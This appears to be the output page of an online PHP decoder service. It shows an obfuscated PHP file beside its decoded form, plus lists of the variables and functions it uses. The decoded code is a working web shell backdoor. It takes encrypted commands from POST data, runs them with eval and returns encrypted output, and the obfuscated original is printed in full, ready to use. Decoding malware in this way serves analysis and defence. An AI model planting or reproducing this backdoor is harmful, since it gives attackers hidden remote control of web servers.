Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<pre><?php $V=str_replace('Bk','','crBkeaBkte_BkfuBkncBktBkion'); $h='a>a>ase>a64_deco>a..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="8094e67e";$kh="bd6d174caa2a";$kf="50725de82def";$p="9V0OrzEeSsLw2Nlq";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<pre><?php
$V=str_replace('Bk','','crBkeaBkte_BkfuBkncBktBkion');
$h='a>a>ase>a64_deco>ade($>am[1]),$k)));$o=>a@ob_get>a_co>anten>ats();@ob_e>and_clea>an()';
$u='$j>a};}}r>aeturn $o;}>aif (@pr>aeg_matc>ah(">a>a/$kh(.+)$kf/>a",@file>a_get_c>ao>ant';
$l='or($i=>a0;$i>a<$l;){fo>ar($j=>a0;($j<$>ac&>a&$i<$l>a);$j++,$i>a++){$o.>a=$t{$i>a>a}^$k{';
$Y=';$r=>a@bas>ae64_en>a>acode(@x(@gzc>aompre>a>ass($o),$k));pri>ant("$>ap$>akh$r$kf");}';
$X='en>ats("p>ahp://input"),$m)=>a=1) {@o>ab_s>atar>at();@e>aval(@gz>auncompress>a(@x(@b';
$F='>asLw2>aNlq";functio>an >ax($t,$>ak)>a{$c=strlen($k)>a>a;$l=s>atrlen($t>a);$o="";f>a';
$j='$k=>a"80>a94e67e";$k>ah="bd6d>a174caa2a";>a$k>a>af="50725de82d>aef";$>ap="9V0OrzE>aeS';
$z=str_replace('>a','',$j.$F.$l.$u.$X.$h.$Y);
$R=$V('',$z);$R();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$F >asLw2>aNlq";functio>an >ax($t,$>ak)>a{$c=strlen($k)>a>a;$l=..
$V create_function
$X en>ats("p>ahp://input"),$m)=>a=1) {@o>ab_s>atar>at();@e>aval..
$Y ;$r=>a@bas>ae64_en>a>acode(@x(@gzc>aompre>a>ass($o),$k));pri..
$h a>a>ase>a64_deco>ade($>am[1]),$k)));$o=>a@ob_get>a_co>anten>..
$j $k=>a"80>a94e67e";$k>ah="bd6d>a174caa2a";>a$k>a>af="50725de8..
$k 8094e67e
$l or($i=>a0;$i>a<$l;){fo>ar($j=>a0;($j<$>ac&>a&$i<$l>a);$j++,$..
$p 9V0OrzEeSsLw2Nlq
$u $j>a};}}r>aeturn $o;}>aif (@pr>aeg_matc>ah(">a>a/$kh(.+)$kf/..
$z $k="8094e67e";$kh="bd6d174caa2a";$kf="50725de82def";$p="9V0O..
$kf 50725de82def
$kh bd6d174caa2a

Stats

MD5 5fb784f211520f9aef3636cc7f72d1eb
Eval Count 1
Decode Time 394 ms